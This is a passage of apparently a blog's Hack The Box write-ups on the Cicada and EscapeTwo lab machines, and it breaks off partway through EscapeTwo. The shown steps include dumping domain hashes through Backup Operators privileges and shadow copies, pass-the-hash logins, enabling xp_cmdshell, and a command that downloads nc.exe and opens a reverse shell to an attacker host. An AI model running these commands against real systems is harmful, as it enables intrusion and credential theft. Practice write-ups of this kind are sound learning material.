SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB         10.10.11.35     445    CICADA-DC        [*] Enumerated shares
SMB         10.10.11.35     445    CICADA-DC        Share           Permissions     Remark
SMB         10.10.11.35     445    CICADA-DC        -----           -----------     ------
SMB         10.10.11.35     445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.10.11.35     445    CICADA-DC        C$                              Default share
SMB         10.10.11.35     445    CICADA-DC        DEV             READ
SMB         10.10.11.35     445    CICADA-DC        HR              READ
SMB         10.10.11.35     445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.10.11.35     445    CICADA-DC        NETLOGON        READ            Logon server share
SMB         10.10.11.35     445    CICADA-DC        SYSVOL          READ            Logon server share

I used netexec to spider the shares:

┌──(kali㉿kali)-[~/Desktop/HTB/Cicada]
└─$ netexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -M spider_plus
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*]     STATS_FLAG: True
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*]  OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus
SMB         10.10.11.35     445    CICADA-DC        [*] Enumerated shares
SMB         10.10.11.35     445    CICADA-DC        Share           Permissions     Remark
SMB         10.10.11.35     445    CICADA-DC        -----           -----------     ------
SMB         10.10.11.35     445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.10.11.35     445    CICADA-DC        C$                              Default share
SMB         10.10.11.35     445    CICADA-DC        DEV             READ
SMB         10.10.11.35     445    CICADA-DC        HR              READ
SMB         10.10.11.35     445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.10.11.35     445    CICADA-DC        NETLOGON        READ            Logon server share
SMB         10.10.11.35     445    CICADA-DC        SYSVOL          READ            Logon server share
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [+] Saved share-file metadata to "/tmp/nxc_hosted/nxc_spider_plus/10.10.11.35.json".
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] SMB Shares:           7 (ADMIN$, C$, DEV, HR, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] SMB Readable Shares:  5 (DEV, HR, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] Total folders found:  33
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] Total files found:    12
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] File size average:    1.09 KB
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] File size min:        23 B
SPIDER_PLUS 10.10.11.35     445    CICADA-DC        [*] File size max:        5.22 KB

The DEV share contained the following:

{
    "DEV": {
        "Backup_script.ps1": {
            "atime_epoch": "2024-08-28 13:28:22",
            "ctime_epoch": "2024-03-14 08:31:38",
            "mtime_epoch": "2024-08-28 13:28:22",
            "size": "601 B"
        }
    },
<...snip...>

I downloaded the share by adding -o download_flag=true to the above netexec command.

Backup_script.ps1 revealed the credentials for emily.oscars:

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

Using evil-winrm, I obtained a shell as emily.oscars:

┌──(kali㉿kali)-[~/Desktop/HTB/Cicada]
└─$ evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami
cicada\emily.oscars
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\desktop> ls

    Directory: C:\Users\emily.oscars.CICADA\desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---          6/5/2025   4:22 PM             34 user.txt

This user was a member of Backup Operators:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\desktop> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators                   Alias            S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288

Members of the Backup Operators group are granted the SeBackup and SeRestore privileges:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Users with SeBackupPrivilege can create a shadow copy of the entire drive. This enables traversal of any directory, listing of folder contents, and copying of any file regardless of explicit access rights. This privilege can be exploited to obtain sensitive files such as the ntds.dit database and the SYSTEM registry hive. These files can then be copied locally to extract NTLM hashes with impacket-secretsdump.

The diskshadow.exe utility can be used to create a disk shadow copy, although I couldn't enter commands directly into diskshadow.exe since commands run through evil-winrm execute within the context of the non-interactive wsmprovhost process, indicated by the session ID (SI) of 0:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\desktop> $PID
996
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\desktop> get-process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
<...snip...>
   3816      29   121000     138444       1.38    996   0 wsmprovhost
<...snip...>

diskshadow.exe can also run commands from a script file, enabling non-interactive execution. I created the script (diskshadow.txt) with the following content in C:\windows\temp:

*Evil-WinRM* PS C:\windows\temp> echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
*Evil-WinRM* PS C:\windows\temp> echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
*Evil-WinRM* PS C:\windows\temp> echo "create" | out-file ./diskshadow.txt -encoding ascii -append
*Evil-WinRM* PS C:\windows\temp> echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append

Using diskshadow.exe along with diskshadow.txt, I created a shadow copy of the C drive exposed as z:

*Evil-WinRM* PS C:\windows\temp> diskshadow.exe /s c:\windows\temp\diskshadow.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  CICADA-DC,  6/5/2025 4:31:11 PM

-> set context persistent nowriters
-> add volume c: alias temp
-> create
Alias temp for shadow ID {2092a9c7-6030-4242-ae48-eb9fcebe32e2} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {b49ed108-b5d4-4cb0-85b6-7f928242451d} set as environment variable.

Querying all shadow copies with the shadow copy set ID {b49ed108-b5d4-4cb0-85b6-7f928242451d}

        * Shadow copy ID = {2092a9c7-6030-4242-ae48-eb9fcebe32e2}               %temp%
                - Shadow copy set: {b49ed108-b5d4-4cb0-85b6-7f928242451d}       %VSS_SHADOW_SET%
                - Original count of shadow copies = 1
                - Original volume name: \\?\Volume{fcebaf9b-0000-0000-0000-500600000000}\ [C:\]
                - Creation time: 6/5/2025 4:31:12 PM
                - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
                - Originating machine: CICADA-DC.cicada.htb
                - Service machine: CICADA-DC.cicada.htb
                - Not exposed
                - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
                - Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %temp% z:
-> %temp% = {2092a9c7-6030-4242-ae48-eb9fcebe32e2}
The shadow copy was successfully exposed as z:\.
->

Next, with the robocopy utility, I made a copy of ntds.dit from z:

*Evil-WinRM* PS C:\windows\temp> robocopy /B z:\Windows\NTDS .\ntds ntds.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Thursday, June 5, 2025 4:32:20 PM
   Source : z:\Windows\NTDS\
     Dest : C:\windows\temp\ntds\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

          New Dir          1    z:\Windows\NTDS\
            New File              16.0 m        ntds.dit

<...snip...>

------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         1         0         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :   16.00 m   16.00 m         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00


   Speed :           82,646,384 Bytes/sec.
   Speed :            4,729.064 MegaBytes/min.
   Ended : Thursday, June 5, 2025 4:32:20 PM

Membership in the Backup Operators group allows copying registry hives using the reg command. So I used it to copy the SYSTEM hive:

*Evil-WinRM* PS C:\windows\temp> reg save HKLM\SYSTEM SYSTEM
The operation completed successfully.

Then, I downloaded ntds.dit and SYSTEM:

*Evil-WinRM* PS C:\windows\temp> download ntds/ntds.dit
                                        
Info: Downloading C:\windows\temp\ntds/ntds.dit to ntds.dit
                                        
Info: Download successful!
*Evil-WinRM* PS C:\windows\temp> download SYSTEM
                                        
Info: Downloading C:\windows\temp\SYSTEM to SYSTEM
                                        
Info: Download successful!

Using impacket-secretsdump with ntds.dit and SYSTEM, I was able to extract user NTLM hashes:

┌──(kali㉿kali)-[~/Desktop/HTB/Cicada]
└─$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: f954f575c626d6afe06c2b80cc2185e6
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
<...snip...>

With the hash of the administrator, I obtained a shell over WinRM:

┌──(kali㉿kali)-[~/Desktop/HTB/Cicada]
└─$ evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cicada\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> ls

    Directory: C:\Users\Administrator\desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---          6/5/2025   4:22 PM             34 root.txt

Hack The Box - EscapeTwo

Sat, 15 Mar 2025 00:00:00 GMT

EscapeTwo is a Windows machine running Active Directory. The box starts with a set of given credentials, which can be used to enumerate SMB shares. One of these shares contains an XLSX file with credentials for the sysadmin on an MSSQL instance. Once logged in to the MSSQL server, xp_cmdshell can be used to obtain a shell on the machine as sql_svc, where the password for the user ryan can be found within a SQL Server Express configuration file. Enumeration of the domain with BloodHound shows that ryan has the WriteOwner permission over ca_svc, a member of the Cert Publishers group, which has the ability to publish certificates to the directory. This privilege can be leveraged to take over the ca_svc account by changing its password. Further enumeration of Active Directory Certificate Services (AD CS) reveals a certificate template with an ESC4 vulnerability. The template’s properties can then be modified to enable an ESC1 escalation path, ultimately leading to a system shell.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ nmap -sC -sV -Pn -oA nmap/output 10.10.11.51
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-14 20:46 EDT
Nmap scan report for sequel.htb (10.10.11.51)
Host is up (0.049s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-14 18:37:36Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-03-14T18:39:07+00:00; -6h08m36s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-03-14T18:39:06+00:00; -6h08m37s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.51:1433: 
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.11.51:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-03-14T18:27:51
|_Not valid after:  2055-03-14T18:27:51
|_ssl-date: 2025-03-14T18:39:07+00:00; -6h08m36s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-03-14T18:39:07+00:00; -6h08m36s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-03-14T18:39:06+00:00; -6h08m37s from scanner time.
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -6h08m37s, deviation: 1s, median: -6h08m37s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-03-14T18:38:26
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.69 seconds

I added sequel.htb and DC01.sequel.htb to /etc/hosts, then enumerated SMB shares with the provided credentials for the rose user:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
SMB         10.10.11.51     445    DC01             [*] Enumerated shares
SMB         10.10.11.51     445    DC01             Share           Permissions     Remark
SMB         10.10.11.51     445    DC01             -----           -----------     ------
SMB         10.10.11.51     445    DC01             Accounting Department READ
SMB         10.10.11.51     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.51     445    DC01             C$                              Default share
SMB         10.10.11.51     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.51     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.51     445    DC01             SYSVOL          READ            Logon server share
SMB         10.10.11.51     445    DC01             Users           READ

Two shares were non-default: Accounting Department and Users. Next, I used netexec to spider the readable shares:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' -M spider_plus
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
SPIDER_PLUS 10.10.11.51     445    DC01             [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.51     445    DC01             [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.11.51     445    DC01             [*]     STATS_FLAG: True
SPIDER_PLUS 10.10.11.51     445    DC01             [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.11.51     445    DC01             [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.51     445    DC01             [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.51     445    DC01             [*]  OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus
SMB         10.10.11.51     445    DC01             [*] Enumerated shares
SMB         10.10.11.51     445    DC01             Share           Permissions     Remark
SMB         10.10.11.51     445    DC01             -----           -----------     ------
SMB         10.10.11.51     445    DC01             Accounting Department READ
SMB         10.10.11.51     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.51     445    DC01             C$                              Default share
SMB         10.10.11.51     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.51     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.51     445    DC01             SYSVOL          READ            Logon server share
SMB         10.10.11.51     445    DC01             Users           READ
SPIDER_PLUS 10.10.11.51     445    DC01             [+] Saved share-file metadata to "/tmp/nxc_hosted/nxc_spider_plus/10.10.11.51.json".
SPIDER_PLUS 10.10.11.51     445    DC01             [*] SMB Shares:           7 (Accounting Department, ADMIN$, C$, IPC$, NETLOGON, SYSVOL, Users)
SPIDER_PLUS 10.10.11.51     445    DC01             [*] SMB Readable Shares:  5 (Accounting Department, IPC$, NETLOGON, SYSVOL, Users)
SPIDER_PLUS 10.10.11.51     445    DC01             [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.10.11.51     445    DC01             [*] Total folders found:  76
SPIDER_PLUS 10.10.11.51     445    DC01             [*] Total files found:    67
SPIDER_PLUS 10.10.11.51     445    DC01             [*] File size average:    23.74 KB
SPIDER_PLUS 10.10.11.51     445    DC01             [*] File size min:        0 B
SPIDER_PLUS 10.10.11.51     445    DC01             [*] File size max:        512 KB

The Accounting Department share looked interesting, as it contained two .xlsx files:

{
    "Accounting Department": {
        "accounting_2024.xlsx": {
            "atime_epoch": "2024-06-09 06:50:41",
            "ctime_epoch": "2024-06-09 05:45:02",
            "mtime_epoch": "2024-06-09 07:11:31",
            "size": "9.98 KB"
        },
        "accounts.xlsx": {
            "atime_epoch": "2024-06-09 06:52:21",
            "ctime_epoch": "2024-06-09 06:52:07",
            "mtime_epoch": "2024-06-09 07:11:31",
            "size": "6.62 KB"
        }
    },

I downloaded the shares by adding the -o download_flag=true option to the above netexec command. Then, attempting to open accounts.xlsx or extracted_accounts_xlsx in Excel resulted in a warning message stating that the file cannot be opened because the format or extension is not valid. However, since .xlsx files are essentially ZIP archives containing XML documents and other resources, the contents can be extracted. For example, I extracted the contents of accounts.xlsx:

┌──(kali㉿kali)-[~/…/EscapeTwo/nxc_spider_plus/10.10.11.51/Accounting Department]
└─$ unzip accounts.xlsx -d extracted_accounts_xlsx
Archive:  accounts.xlsx
file #1:  bad zipfile offset (local header sig):  0
  inflating: extracted_accounts_xlsx/xl/workbook.xml  
  inflating: extracted_accounts_xlsx/xl/theme/theme1.xml  
  inflating: extracted_accounts_xlsx/xl/styles.xml  
  inflating: extracted_accounts_xlsx/xl/worksheets/_rels/sheet1.xml.rels  
  inflating: extracted_accounts_xlsx/xl/worksheets/sheet1.xml  
  inflating: extracted_accounts_xlsx/xl/sharedStrings.xml  
  inflating: extracted_accounts_xlsx/_rels/.rels  
  inflating: extracted_accounts_xlsx/docProps/core.xml  
  inflating: extracted_accounts_xlsx/docProps/app.xml  
  inflating: extracted_accounts_xlsx/docProps/custom.xml  
  inflating: extracted_accounts_xlsx/[Content_Types].xml

I found usernames and passwords in extracted_accounts_xlsx/xl/sharedStrings.xml. Most notably, the credentials for the sa user:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24">
  <si>
    <t xml:space="preserve">First Name</t>
  </si>
  <si>
    <t xml:space="preserve">Last Name</t>
  </si>
  <si>
    <t xml:space="preserve">Email</t>
  </si>
  <si>
    <t xml:space="preserve">Username</t>
  </si>
  <si>
    <t xml:space="preserve">Password</t>
  </si>
  <...snip...>
  <si>
    <t xml:space="preserve">sa@sequel.htb</t>
  </si>
  <si>
    <t xml:space="preserve">sa</t>
  </si>
  <si>
    <t xml:space="preserve">MSSQLP@ssw0rd!</t>
  </si>
</sst>

I used the credentials to log in to the MSSQL instance:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ impacket-mssqlclient sequel.htb/sa:'MSSQLP@ssw0rd!'@10.10.11.51
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (sa  dbo@master)>

The databases were all default:

SQL (sa  dbo@master)> SELECT name FROM sys.databases;
name     
------   
master   

tempdb   

model    

msdb

Initially, when I tried to run xp_cmdshell, it was blocked:

SQL (sa  dbo@master)> xp_cmdshell whoami
[-] ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

However, since the user was an admin, xp_cmdshell could be enabled with enable_xp_cmdshell:

SQL (sa  dbo@master)> enable_xp_cmdshell
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

I was then able to run commands:

SQL (sa  dbo@master)> xp_cmdshell whoami
output           
--------------   
sequel\sql_svc   

NULL

At this point, since I had command execution, I started a local python web server and then transferred nc.exe onto the machine to get a shell:

SQL (sa  dbo@master)> xp_cmdshell "powershell -c cd c:\programdata; wget 10.10.14.200:8000/nc.exe -o nc.exe"
output   
------   
NULL

I started a listener with nc and sent the shell:

SQL (sa  dbo@master)> xp_cmdshell "powershell -c cd c:\programdata; .\nc.exe -e cmd.exe 10.10.14.200 443"

nc caught a shell as sql_svc:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ nc -lvnp 443                                     
listening on [any] 443 ...
connect to [10.10.14.200] from (UNKNOWN) [10.10.11.51] 50176
Microsoft Windows [Version 10.0.17763.6640]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\programdata>whoami
whoami
sequel\sql_svc

C:\programdata>hostname
hostname
DC01

Access was denied to the directories of other users on the box:

C:\programdata>cd \users
cd \users

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 3705-289D

 Directory of C:\Users

06/09/2024  06:42 AM    <DIR>          .
06/09/2024  06:42 AM    <DIR>          ..
12/25/2024  04:10 AM    <DIR>          Administrator
06/09/2024  04:11 AM    <DIR>          Public
06/09/2024  04:15 AM    <DIR>          ryan
06/08/2024  04:16 PM    <DIR>          sql_svc
               0 File(s)              0 bytes
               6 Dir(s)   3,796,779,008 bytes free

C:\Users>cd Administrator
cd Administrator
Access is denied.

C:\Users>cd ryan
cd ryan
Access is denied.

After further enumeration, I found an additional password within C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI in the SQLSVCPASSWORD field:

C:\SQL2019\ExpressAdv_ENU>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 3705-289D

 Directory of C:\SQL2019\ExpressAdv_ENU

01/03/2025  08:29 AM    <DIR>          .
01/03/2025  08:29 AM    <DIR>          ..
06/08/2024  03:07 PM    <DIR>          1033_ENU_LP
09/24/2019  10:03 PM                45 AUTORUN.INF
09/24/2019  10:03 PM               788 MEDIAINFO.XML
06/08/2024  03:07 PM                16 PackageId.dat
06/08/2024  03:07 PM    <DIR>          redist
06/08/2024  03:07 PM    <DIR>          resources
09/24/2019  10:03 PM           142,944 SETUP.EXE
09/24/2019  10:03 PM               486 SETUP.EXE.CONFIG
06/08/2024  03:07 PM               717 sql-Configuration.INI
09/24/2019  10:03 PM           249,448 SQLSETUPBOOTSTRAPPER.DLL
06/08/2024  03:07 PM    <DIR>          x64
               7 File(s)        394,444 bytes
               6 Dir(s)   3,794,612,224 bytes free

C:\SQL2019\ExpressAdv_ENU>type sql-Configuration.INI
type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False" 
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

The password was valid for the ryan user:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ netexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'       
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3

evil-winrm shell as ryan:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
                                        
